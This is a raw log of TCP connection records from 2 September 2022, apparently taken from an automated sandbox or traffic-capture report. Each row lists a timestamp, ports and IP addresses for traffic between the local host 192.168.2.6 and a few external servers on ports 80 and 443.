Sep 2, 2022 14:03:17.969804049 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.969811916 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:20.567013025 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:20.707623959 CEST	80	49825	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:20.707707882 CEST	49825	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:20.739451885 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:20.880112886 CEST	80	49829	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:20.880268097 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:20.896641970 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:21.037230015 CEST	80	49829	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:21.051832914 CEST	80	49829	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:21.112026930 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:21.979806900 CEST	49830	80	192.168.2.6	212.193.30.115
Sep 2, 2022 14:03:22.432776928 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:22.432845116 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:22.573340893 CEST	80	49829	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:22.660258055 CEST	80	49829	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:22.705965996 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:23.293457031 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.293499947 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.293606043 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.294619083 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.294629097 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.310878992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.310906887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.310929060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.310944080 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.310955048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:23.310965061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.310977936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:23.310988903 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.311001062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:23.311037064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:23.311228991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:23.311275005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:23.364828110 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.364924908 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.422550917 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.422580957 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.422828913 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.428354025 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.471371889 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.471862078 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.471955061 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.471997023 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472019911 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472034931 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472069025 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472078085 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472085953 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472131968 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472137928 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472145081 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472186089 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472189903 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472198009 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472242117 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472248077 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472254992 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472309113 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472316980 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472368002 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472409964 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472415924 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472471952 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472516060 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472523928 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472578049 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472621918 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472628117 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472681046 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472713947 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472723961 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472731113 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472769022 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472774982 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472780943 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472825050 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472837925 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472845078 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472881079 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472894907 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472903967 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472939014 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472955942 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.472964048 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.472996950 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473012924 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473018885 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473076105 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473079920 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473092079 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473149061 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473155975 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473243952 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473278046 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473284960 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473293066 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473335981 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473337889 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473345995 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473406076 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473409891 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473417997 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473459005 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473480940 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.473488092 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.473517895 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.504626989 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.504703045 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.504728079 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.504793882 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:23.504838943 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.504957914 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.532265902 CEST	49831	443	192.168.2.6	172.67.188.70
Sep 2, 2022 14:03:23.532300949 CEST	443	49831	172.67.188.70	192.168.2.6
Sep 2, 2022 14:03:25.002999067 CEST	49830	80	192.168.2.6	212.193.30.115
Sep 2, 2022 14:03:31.112858057 CEST	49830	80	192.168.2.6	212.193.30.115
Sep 2, 2022 14:03:31.416810036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.443660975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468247890 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468288898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468312025 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468329906 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468393087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.468441010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.468653917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468681097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468702078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468708038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.468718052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.468744040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.468779087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.480520010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.480565071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.480597973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.480632067 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492137909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492182970 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492212057 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492238045 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492261887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492288113 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492307901 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492314100 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492336035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492341042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492361069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492373943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492388010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492400885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492423058 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492444992 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492527962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492554903 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492692947 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492708921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492762089 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492791891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492810011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492816925 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492832899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492861032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.492861032 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.492906094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.509963989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.510016918 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.510044098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.510070086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.510114908 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.510150909 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522131920 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522178888 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522311926 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522466898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522494078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522521973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522546053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522569895 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522593975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522619009 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522624016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522639036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522644043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522645950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522669077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522694111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522695065 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522707939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522716045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522722006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522723913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522732973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522747993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522769928 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522773981 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522789955 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522802114 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522825003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522828102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522844076 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522855043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.522876978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.522898912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523034096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523061037 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523087025 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523101091 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523112059 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523123026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523139000 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523150921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523168087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523170948 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523181915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523194075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523216963 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523220062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523240089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523564100 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523593903 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523611069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523617983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523633957 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523643017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523662090 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523669004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523677111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523693085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.523699045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523720026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.523736954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.533711910 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.533771992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.533797979 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.533821106 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.533843994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.533868074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.533907890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.533972025 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.534064054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.534090996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.534137964 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.534171104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.545770884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.545818090 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.545842886 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.545867920 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.545874119 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.545917988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546111107 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546185017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546211004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546235085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546243906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546257973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546261072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546278954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546281099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546303988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546325922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546679974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546711922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546735048 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546741009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546758890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546760082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546786070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546797991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546812057 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546818018 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546837091 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546838045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546854973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546860933 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.546880960 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.546905041 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.547051907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547113895 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.547297001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547324896 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547365904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547374964 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.547393084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547394991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.547413111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.547419071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547445059 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547446012 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.547462940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547483921 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547502041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547519922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547636032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547652960 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547672033 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547689915 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547739983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547758102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547776937 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.547795057 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548007011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548305035 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548335075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548361063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548366070 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548386097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548405886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548415899 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548418045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548430920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548441887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548466921 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548471928 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548480034 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548491001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548510075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548758984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548784971 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548803091 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548810959 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548818111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548825026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548835993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548856020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548861980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548882008 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548890114 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.548907042 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.548935890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.549349070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549379110 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.549402952 CEST	80	49827	89.185.85.53	192.168.2.6
